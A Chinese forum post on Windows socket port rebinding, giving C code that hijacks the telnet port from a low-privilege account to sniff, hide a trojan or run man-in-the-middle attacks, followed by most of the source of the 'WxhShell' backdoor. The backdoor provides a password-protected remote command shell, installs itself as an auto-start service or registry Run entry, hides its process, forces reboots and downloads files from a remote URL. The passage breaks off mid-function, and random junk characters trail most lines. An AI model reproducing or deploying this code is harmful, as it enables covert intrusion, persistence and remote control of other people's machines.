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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'Hg(N?1"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x88$#N>Q5  
_3E7|drIX  
  saddr.sin_family = AF_INET; $""[( d?0  
7!%cKZCY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $ey<8qzp  
h8h4)>:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Sb`>IlT\#  
"<&F=gV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PaZFM  
a@7we=!  
  这意味着什么?意味着可以进行如下的攻击: qmK!d<4  
l5R H~F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %'>. R  
$a-~ozr`C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `KL`^UqR  
8'?e4;O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =DtM.oQ>  
xJ3#k;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [$./'-I]  
@wg*~"d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y,8M[UIK  
$HH(8NoL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *s!8BwiE  
_ x7Vyy5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :4WwCpgz,  
Y3-P*  
  #include lfGiw^  
  #include 3!d|K%J  
  #include uM\~*@   
  #include    x=H*"L=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c)lK{DC  
  int main() p#?1l/f"  
  { Zj}, VB*T  
  WORD wVersionRequested; ~@-Az([H  
  DWORD ret; 6=&  wY  
  WSADATA wsaData; R=IeAuZR4k  
  BOOL val; w@"|S_E  
  SOCKADDR_IN saddr; 'rg$%M*(  
  SOCKADDR_IN scaddr; P2oR C3~  
  int err; )kkO:j  
  SOCKET s; fg,~[%1  
  SOCKET sc; -1< }_*  
  int caddsize; >2wjV"W?  
  HANDLE mt; UdY9*k  
  DWORD tid;   jR48 .W  
  wVersionRequested = MAKEWORD( 2, 2 ); _2TIan}  
  err = WSAStartup( wVersionRequested, &wsaData ); eF2<L[9  
  if ( err != 0 ) { P8TiB  
  printf("error!WSAStartup failed!\n"); Qn<< &i~  
  return -1; 0h; -Yg  
  } Ii"cDH9  
  saddr.sin_family = AF_INET; rbJ-vEzo.#  
   l&C%oW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O}D]G%,m  
_h.[I8xgYG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O aZ~  
  saddr.sin_port = htons(23); hsl Js^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W9u (  
  { #ucOjdquq  
  printf("error!socket failed!\n"); SKYS6b  
  return -1; GWhb@K  
  } B4{A(-Tc  
  val = TRUE; ]=pEs6%O3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U %KoG-#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8gx^e./  
  { `j<'*v zo  
  printf("error!setsockopt failed!\n"); ?5->F/f&  
  return -1; uxR_(~8  
  } e0hT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mG2}JWA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +)V6"XY-(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3w0m:~KS6V  
}X AoMp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^i\zMMR  
  { sd=i!r)ya  
  ret=GetLastError(); gz$=\=%>RL  
  printf("error!bind failed!\n"); nGP>M#F  
  return -1; XL"e<P;t  
  } }we"IqLb  
  listen(s,2); IP~g7`Y  
  while(1) UL{Xe&sT  
  { E(S}c*05O  
  caddsize = sizeof(scaddr); aEgzQono  
  //接受连接请求 fCTjTlh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  D}_\oE/n  
  if(sc!=INVALID_SOCKET) bhg"<I  
  { ?49wq4L;a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O'p7^"M  
  if(mt==NULL) +C+3DwN  
  { "#p)Z{v"!  
  printf("Thread Creat Failed!\n"); N/y.=]  
  break; 5v?6J#]2  
  } _o`'b80;  
  } n,fUoS  
  CloseHandle(mt); RJg# A`  
  } 1W-!f%  
  closesocket(s); V6Q[Y>84~a  
  WSACleanup(); ~fS#)X3 D  
  return 0; d2 d^XMe!  
  }   "7gHn0e>  
  DWORD WINAPI ClientThread(LPVOID lpParam) mWigy` V^~  
  { V# Wd   
  SOCKET ss = (SOCKET)lpParam; 'r'uR5jR  
  SOCKET sc; b9:E0/6   
  unsigned char buf[4096]; tnTr &o#  
  SOCKADDR_IN saddr; Pl 5+Oo  
  long num; gzuM>lf*{  
  DWORD val; OtnYv  
  DWORD ret; ]P 2M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yhTe*I=Gk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $YW z~^f  
  saddr.sin_family = AF_INET; &18} u~M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PAqziq.  
  saddr.sin_port = htons(23); NW~n+uk5v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dz7*a {  
  { ]5} =r  
  printf("error!socket failed!\n"); ZM5[ o m  
  return -1; 7IFUsli]  
  } &\5T`|~)!  
  val = 100; #%x4^A9 q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6C   
  { 3L#KHTM  
  ret = GetLastError(); RJGf@am&  
  return -1; n RXf\*"3  
  } (3 _2h4O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E]+W^ VG  
  { Ot(EDa9}IJ  
  ret = GetLastError(); &;,w})  
  return -1; ? Bk"3{hl  
  } /TpM#hkq/2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _~6AUwM  
  { ZL-@2ZU{1  
  printf("error!socket connect failed!\n"); dp+wwNe  
  closesocket(sc); (z"Cwa@e  
  closesocket(ss); >yT:eG  
  return -1; =WN6Fj`  
  } JP[BSmhAV  
  while(1) kkqrl JO|  
  { .*v8*8OJ&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %(n4`@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c?[A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A 8&%G8d  
  num = recv(ss,buf,4096,0); r$*k-c9Bf  
  if(num>0) XD*$$`+#  
  send(sc,buf,num,0); B9+oI c O  
  else if(num==0) P 0,]Ud  
  break; 9B<y w.  
  num = recv(sc,buf,4096,0); RJ@d_~%U  
  if(num>0) DGp'Xx_8  
  send(ss,buf,num,0); 7 +?  
  else if(num==0) A*@!tz<  
  break; lK}F>6^\  
  } eZf-i1lJ  
  closesocket(ss); z07!i@ue~  
  closesocket(sc); !dmI}<@&k  
  return 0 ; 1{"e'[ L  
  } Lw-)ijBW  
cC>.`1:  
Km-lWreTH  
========================================================== 377$c;4 F  
fFiFc^  
下边附上一个代码,,WXhSHELL QK//bV)  
R0{n0Br  
========================================================== Nnx"b 5I}n  
TN` pai0  
#include "stdafx.h" jtl7t59R  
lHZf'P_Wx  
#include <stdio.h> o#E z_D[  
#include <string.h> -rU *)0PR  
#include <windows.h> v%B^\S3)  
#include <winsock2.h> T w/CJg  
#include <winsvc.h> nuXaZRH  
#include <urlmon.h> [f^~Z'TIN/  
zYF'XB]4  
#pragma comment (lib, "Ws2_32.lib") &W}ooGg  
#pragma comment (lib, "urlmon.lib") AnIENJ  
3\6jzD  
#define MAX_USER   100 // 最大客户端连接数 :0#!=  
#define BUF_SOCK   200 // sock buffer < R0c=BZ>  
#define KEY_BUFF   255 // 输入 buffer pH)V:BmJ  
8`'_ckIgr  
#define REBOOT     0   // 重启 RYmk6w!w  
#define SHUTDOWN   1   // 关机 1G$kO90  
B*,9{g0m/  
#define DEF_PORT   5000 // 监听端口 }LQ&AIRN  
"jb?P$  
#define REG_LEN     16   // 注册表键长度 `}Q+:  
#define SVC_LEN     80   // NT服务名长度 Dh J<\_;  
+5 @8't  
// 从dll定义API 1<pbO:r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0Ac]&N d`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]vhh*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O{LWQ"@y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H@'Y>^z?  
M="%NxuS  
// wxhshell配置信息 c5^i5de  
struct WSCFG { 4B!]%Mw;c  
  int ws_port;         // 监听端口  03_tt7  
  char ws_passstr[REG_LEN]; // 口令 Rl<~:,D  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fb[<YX"  
  char ws_regname[REG_LEN]; // 注册表键名 tNfku  
  char ws_svcname[REG_LEN]; // 服务名 kXv -B-wOj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4z?6[Cg<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %p@A8'b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1+Ja4`o,iS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0=7C-A1(D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xg#Dbf4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e6#^4Y/+`  
.2Gn)dZU  
}; Nqewtn9n  
42 8kC,  
// default Wxhshell configuration =<R77rnY&  
struct WSCFG wscfg={DEF_PORT, V=.lpj9m  
    "xuhuanlingzhe", 9A)(K,  
    1, =as]>?<  
    "Wxhshell", rVFAwbR  
    "Wxhshell", N!r@M."  
            "WxhShell Service", xlS t  
    "Wrsky Windows CmdShell Service", u6cWLV t  
    "Please Input Your Password: ", I6h{S}2  
  1, ^vJ08gu_W  
  "http://www.wrsky.com/wxhshell.exe", 3v5]L3  
  "Wxhshell.exe" &c?-z}=G  
    }; \MX>=  
y7$e7~}/  
// 消息定义模块 3mpEF<z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fg`r:,(a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NCl$vc;,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 19&!#z  
char *msg_ws_ext="\n\rExit."; Dy0cA| E  
char *msg_ws_end="\n\rQuit."; O. @_2  
char *msg_ws_boot="\n\rReboot..."; Vg&` f  
char *msg_ws_poff="\n\rShutdown..."; ]p@7[8}  
char *msg_ws_down="\n\rSave to "; o+q4Vg9&  
x^9W<  
char *msg_ws_err="\n\rErr!"; fHR1ku y  
char *msg_ws_ok="\n\rOK!"; NuW9.6$Jrf  
2}' &38wMT  
char ExeFile[MAX_PATH]; RhXX/HFk  
int nUser = 0; + ECV|mkk  
HANDLE handles[MAX_USER]; .K;*uq:0  
int OsIsNt; }=;N3Q" #y  
hH`yQGZ  
SERVICE_STATUS       serviceStatus; x>p=1(L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jHTaG%oh  
s XRiUDP`  
// 函数声明 C`7HC2Is  
int Install(void); ] QtGgWtC  
int Uninstall(void); bG;vl; C  
int DownloadFile(char *sURL, SOCKET wsh); ,HYz-sK.  
int Boot(int flag); $Y)|&,  
void HideProc(void); k7f[aM5]  
int GetOsVer(void); ,k+jx53XV  
int Wxhshell(SOCKET wsl); %nVnK6[sox  
void TalkWithClient(void *cs); H\ 8.T:>  
int CmdShell(SOCKET sock); #li;L  
int StartFromService(void); ^FF{71;  
int StartWxhshell(LPSTR lpCmdLine); H Viu7kue`  
1K4LEg a`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x(}@se  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E+UOuf*(  
9{?<.%  
// 数据结构和表定义 24>{T5E  
SERVICE_TABLE_ENTRY DispatchTable[] = L&q~5 9  
{ * vEG%Y  
{wscfg.ws_svcname, NTServiceMain}, ?r2Im5N  
{NULL, NULL} N{L]H _=  
}; E&GUg/d  
a(BWV?A  
// 自我安装 +!'6:F  
int Install(void) W;OxH"eC  
{ ~)Ny8Dh  
  char svExeFile[MAX_PATH]; OCY7Bls4  
  HKEY key;  2gb49y~  
  strcpy(svExeFile,ExeFile); ZLxe$.V_  
hDjsGB|Fz  
// 如果是win9x系统,修改注册表设为自启动 _OHz6ag  
if(!OsIsNt) { 2m/1:5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &=K-~!?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _QkU,[E  
  RegCloseKey(key); 7Ja^d-F7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DTAEfs!ZW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jKM-(s!(  
  RegCloseKey(key); VDCrFZ!]  
  return 0; _f{'&YhUU  
    } GDZe6*  
  } dcYUw]  
} 4,wdIdSm4  
else { 6aXsRhQ~  
,R3D  
// 如果是NT以上系统,安装为系统服务 d\'M ~VQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rS{Rzs^@  
if (schSCManager!=0) b> &kL  
{ FV!  
  SC_HANDLE schService = CreateService _H<ur?G  
  ( -Y2h vC  
  schSCManager, C(7LwV  
  wscfg.ws_svcname, Hg*6I%D[So  
  wscfg.ws_svcdisp, `61VP-r  
  SERVICE_ALL_ACCESS, M@ ! {m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZsNUT4  
  SERVICE_AUTO_START, Kc}FMu  
  SERVICE_ERROR_NORMAL, L}lc=\  
  svExeFile, /N{xFt/?  
  NULL,  }m\  
  NULL, a:H}c9 $%  
  NULL, =y[eQS$  
  NULL, xAon:58m{  
  NULL *`=V"nXw$|  
  ); P=(\3ok  
  if (schService!=0) 6(<M.U_ft  
  { b?h"a<7  
  CloseServiceHandle(schService); r6*0H/*  
  CloseServiceHandle(schSCManager); {SCwi;m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D{PO!WzW  
  strcat(svExeFile,wscfg.ws_svcname); u`R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _lu.@IX-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GriL< =?t  
  RegCloseKey(key); `cMa Fc-y/  
  return 0; ^A;v|U  
    } +8mfq\ Y1  
  } )u(`s`zd  
  CloseServiceHandle(schSCManager); .lOEQLt  
} "otP^X.  
} $ [M8G   
Cf@WjgR  
return 1; <?2[]h:wp  
} \ Lrg:  
i[T!{<  
// 自我卸载 "&77`R  
int Uninstall(void) ;, 'eO i  
{ $l0^2o=  
  HKEY key; haqL DVrf  
j""u:l^+x  
if(!OsIsNt) { &AoXv`l4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . m@Sk`s  
  RegDeleteValue(key,wscfg.ws_regname); }#a d  
  RegCloseKey(key); +'y$XR~W{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ft?J|AG  
  RegDeleteValue(key,wscfg.ws_regname); pV<18CaJ  
  RegCloseKey(key); . p<*n6E  
  return 0; jbMzcn~ehI  
  } pn {Nk1Pl  
} 6]CY[qEaR$  
} +*lSB%`aS  
else { u=p([ 5]  
*^}(LoPZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EX|Wd|aK  
if (schSCManager!=0) U43PHcv_  
{ u2@:[:Ao  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +p>tO\mo  
  if (schService!=0) @0-<|,^]  
  { AW%^Xt  
  if(DeleteService(schService)!=0) { gdNEMT  
  CloseServiceHandle(schService); > ~J&i3  
  CloseServiceHandle(schSCManager); /2~qm/%Q  
  return 0; vsRn \Y  
  } _~-VH&g0R  
  CloseServiceHandle(schService); P9SyQbcK  
  } 5ju\!Re3X  
  CloseServiceHandle(schSCManager); =Pd3SC})6V  
} |J?KHI  
} [8l8 m6  
vRVQ:fw  
return 1; H+;>>|+:~  
} #q6jE  
BJB'o  
// 从指定url下载文件 ?R#-gvX%  
int DownloadFile(char *sURL, SOCKET wsh) R*'rg-d  
{ Go= MG:`  
  HRESULT hr; !J3g,p*  
char seps[]= "/"; sJw#^l  
char *token; CM!bD\5  
char *file; =M*31>"I0  
char myURL[MAX_PATH]; E}b" qOV  
char myFILE[MAX_PATH]; 3.xsCcmP  
:-69,e  
strcpy(myURL,sURL); 9]xOu Cb  
  token=strtok(myURL,seps); tF O27z@  
  while(token!=NULL) wHEt;rc(  
  { L|u\3.:  
    file=token; D0.7an6  
  token=strtok(NULL,seps); ^R! qxSj  
  } K\,)9:`t  
z^ rf;  
GetCurrentDirectory(MAX_PATH,myFILE); ovvR{MTc  
strcat(myFILE, "\\"); +YI/(ko=  
strcat(myFILE, file); zw_Xh~4"b  
  send(wsh,myFILE,strlen(myFILE),0); UQ}[2x(Kb  
send(wsh,"...",3,0); 6H53FMqr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;S7MP`o@  
  if(hr==S_OK) K_G( J>  
return 0; sV%<U-X  
else 7:)=  
return 1; u$X [=  
3ktjMVy\  
} O>IY<]x>L  
`gDpb.=Y  
// 系统电源模块 g~rZ=  
int Boot(int flag) iT227v!s  
{ RplLU7  
  HANDLE hToken; .!/DM-C  
  TOKEN_PRIVILEGES tkp; X6)-1.T&  
;%0$3a  
  if(OsIsNt) { &z+nNkr?yN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +? E~F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6k|o<`~,  
    tkp.PrivilegeCount = 1; iV58 m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ; $i{>mDT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zogw1g&C  
if(flag==REBOOT) { hs!a'E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &5h{XSv  
  return 0; o:W>7~$jr=  
}  iVu  
else { KLBU8%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TWZ* *S-  
  return 0;  _zvCc%  
} %@k@tD6  
  } l=GcgxD+"d  
  else { MzM"r"u  
if(flag==REBOOT) { /Nt#|C>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4>-'wMW")  
  return 0; Vzn0;  
} ~!;*C  
else { 7jL+c~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ePv3M&\J  
  return 0; WXV(R,*Tc  
} sEkfmB2J/  
} %IL] Wz<  
aMe]6cWHV>  
return 1; ]V0V8fU|  
} ,R#pQ 4  
8Wqh 8$  
// win9x进程隐藏模块 ?<)4_  
void HideProc(void) ~_8Dv<"a  
{ #.L9/b(  
ZP~Mgz{f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wI8  
  if ( hKernel != NULL ) \@&oK2f  
  { b+Vfi9<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JZI)jIh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2[ = =  
    FreeLibrary(hKernel); <:/Lap#D^  
  } &W+lwEu  
;)$bhNFHx  
return; >Q3_-yY+  
} : fMQ,S0  
6B`XHdCq  
// 获取操作系统版本 MdXOH$ ps  
int GetOsVer(void) <+Eu.K&  
{ C@d*t?  
  OSVERSIONINFO winfo; DcYL8u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -:cBVu-m  
  GetVersionEx(&winfo); ])OrSsV}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "AYm*R  
  return 1; <` [o|>A Z  
  else i<@"+~n~GK  
  return 0; X .,Lmh  
} M$_E:u&D  
5|O~  
// 客户端句柄模块 ~wYGTm=(n  
int Wxhshell(SOCKET wsl) |?v(?  
{ !z? &  
  SOCKET wsh; Voy1  
  struct sockaddr_in client; 6$/Z.8  
  DWORD myID; mxD]`F  
}uP`=T!"8  
  while(nUser<MAX_USER) " GRR,7A  
{ bUvVt3cm  
  int nSize=sizeof(client); f euATL]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Tp:. "  
  if(wsh==INVALID_SOCKET) return 1; tV?-   
*.%z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q)j b9e   
if(handles[nUser]==0) m.F}9HI%hN  
  closesocket(wsh); GdN9bA&,  
else E? lK(C  
  nUser++; {g9*t}l4  
  } {E=BFs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $, hHR:  
zUuOX5-6x  
  return 0; _E %!5u  
} t 57MKDn  
;k ?Z,M:  
// 关闭 socket 'Em3;`/C*+  
void CloseIt(SOCKET wsh) 7N:3  
{ RN^<bt{_U  
closesocket(wsh); R7\T.;8+  
nUser--; hgg 8r#4q  
ExitThread(0); OQ(w]G0LP  
} +Vv+<M  
l bs0i  
// 客户端请求句柄 5Ve`j,`=<  
void TalkWithClient(void *cs) hGU  m7  
{ *kY JwO^  
1;v,rs M  
  SOCKET wsh=(SOCKET)cs; L|hELWru  
  char pwd[SVC_LEN]; '4KN  
  char cmd[KEY_BUFF]; 8:t!m>(*  
char chr[1]; c,CcKy;+  
int i,j; <)$&V*\  
jOUM+QO  
  while (nUser < MAX_USER) { pO?v$Rjl  
-kF8ZF  
if(wscfg.ws_passstr) { h* 72 f/#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y`NwE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?e{hidg  
  //ZeroMemory(pwd,KEY_BUFF); $E/N  
      i=0; h+rW%`B  
  while(i<SVC_LEN) { C5Vlqc;  
d`gKF  
  // 设置超时 aD^jlt  
  fd_set FdRead; ^(kmFUV,Z  
  struct timeval TimeOut; w#v-h3XcF  
  FD_ZERO(&FdRead); }j$tFFVi~  
  FD_SET(wsh,&FdRead); ZH)Jq^^RI  
  TimeOut.tv_sec=8; ^HhV ?Iqg  
  TimeOut.tv_usec=0; n\ 'PNB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E3LEeXcLS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &w!(.uDO  
8]K+,0m6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )%q!XM  
  pwd=chr[0]; y(ceEV  
  if(chr[0]==0xd || chr[0]==0xa) { 23d*;ri5  
  pwd=0; redMlHM  
  break; Sx:JuK@  
  } `+h+X 9  
  i++; xX?9e3(  
    } d>gQgQ;g  
r>#4Sr  
  // 如果是非法用户,关闭 socket frokl5L@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IG.!M@_  
} HTLS$o;Q  
0"}=A,o(w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D&o ~4Qvc]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J#IVu?B  
z6*r<>Bf+b  
while(1) { ^ Paf-/  
A vww @$  
  ZeroMemory(cmd,KEY_BUFF); { SF'YbY  
;Q8`5h   
      // 自动支持客户端 telnet标准   =pZ$oTR  
  j=0; q`VkA \  
  while(j<KEY_BUFF) { `>4"i+NFF8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e ?7y$H-  
  cmd[j]=chr[0]; :q c?FQ ;  
  if(chr[0]==0xa || chr[0]==0xd) { pocXQEg$]  
  cmd[j]=0; XU<XK9EA  
  break; Y[N@ )E_G  
  } 6u'E}hAx|  
  j++; -d9L  
    } :9DyABK=Cv  
\JC_"gqt  
  // 下载文件 2 g~W})e  
  if(strstr(cmd,"http://")) { 75pn1*"gQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dz,|sHCmk  
  if(DownloadFile(cmd,wsh)) j0^1BVcj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZkWMo= vL  
  else [b+B"f6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]SAGh|+xl  
  } $O&N  
  else { 9?q ^yy  
nA(5p?D+YB  
    switch(cmd[0]) { Y <`X$  
  ~g9~D}48k'  
  // 帮助 4k9$' k  
  case '?': { p"7]zq]'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O=vD6@QI  
    break; 6i;q=N$'  
  } Zt& 7p  
  // 安装 LSR0yCU  
  case 'i': {  HzL~B#  
    if(Install()) 'C=(?H)M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iSX HMp4V  
    else X(O:y^sX}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}GOHW)}  
    break; *0vRVlYf  
    } KRX\<@  
  // 卸载 !3<b#QAXRG  
  case 'r': { p1[|5r5Day  
    if(Uninstall()) !<HF764@`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1g,Ofr  
    else B}P!WRNmln  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Vkb}A,'  
    break; [wk1p-hf  
    } x:i,l:x  
  // 显示 wxhshell 所在路径 V["'eJA,,  
  case 'p': { n!sOKw  
    char svExeFile[MAX_PATH]; qC=9m[MI  
    strcpy(svExeFile,"\n\r"); XI:+EeM?  
      strcat(svExeFile,ExeFile); JC`;hY  
        send(wsh,svExeFile,strlen(svExeFile),0); 2I3H?Lrx!m  
    break; f*:N*cC  
    } 39m8iI%w[  
  // 重启 vTo+jQs^  
  case 'b': { bxPJ5oT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A>,kmU5  
    if(Boot(REBOOT)) S(Z\h_m(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WL|71?@C  
    else { :`K2?;DC8  
    closesocket(wsh); NiEz3ODSi  
    ExitThread(0); Xq_h C"s  
    } ([|^3tM  
    break; ~;-2eKw  
    } 0eKLp8;Lh  
  // 关机 ~Y{]yBGoF  
  case 'd': { Lr20xm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8QMMKO ui\  
    if(Boot(SHUTDOWN)) <Qr*!-Kc6  
